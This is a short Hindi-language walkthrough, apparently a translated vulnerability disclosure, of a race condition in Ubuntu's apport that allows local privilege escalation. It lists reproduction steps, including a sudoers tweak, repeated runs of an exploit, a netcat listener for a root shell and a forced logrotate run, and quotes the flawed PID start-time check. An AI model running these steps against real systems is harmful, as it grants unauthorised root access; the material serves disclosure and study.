
apport में race condition Ubuntu पर Local Privilege Escalation की ओर ले जाती है
sudo apt-get install apport=2.20.11-0ubuntu27 (कोई भी संस्करण <= 2.20.11-0ubuntu27.10 ठीक है, लेकिन आपको स्रोत कोड डाउनलोड करना होगा)echo 10000 | sudo tee /proc/sys/kernel/pid_maxALL ALL=(root) NOPASSWD: /usr/bin/ping जोड़ेंulimit -c unlimited; ./exploit को कई बार चलाएँ/etc/logrotate.d/core पर एक फ़ाइल दिखनी चाहिएnc -lvcp 1234 चलाएँsudo logrotate -vf /usr/sbin/logrotate /etc/logrotate.conf चलाएँ। (बिल्कुल /etc/cron.daily/logrotate के समान)Apport यह जाँच करेगा कि pid पुनः उपयोग तो नहीं हुआ है, यह देखकर कि प्रक्रिया का प्रारंभ समय apport के स्वयं के प्रारंभ समय से बाद का है:
# /usr/share/apport/apport
594 apport_start = get_apport_starttime()
595 process_start = get_process_starttime()
596 if process_start > apport_start:
597 error_log('process was replaced after Apport started, ignoring')
598 sys.exit(0)
लेकिन यह pid, apport के लॉन्च होने के तुरंत बाद पुनः उपयोग किया जा सकता है। ऐसी स्थिति में, get_apport_starttime() == get_process_starttime() होगा।
तो, आप apport से -rw------- root:root वाली एक कोर फ़ाइल ड्रॉप करा सकते हैं, यदि आप इस PID को uid==0 के अंतर्गत चलने वाली किसी अन्य प्रक्रिया के साथ पुनः अधिग्रहित कर सकते हैं:
sudo ping 8.8.8.8 को cwd /etc/logrotate.d/ के साथ चलाएँ। root:root के अंतर्गत चलने वाली एक प्रक्रिया pid A को पुनः अधिग्रहित कर लेगी।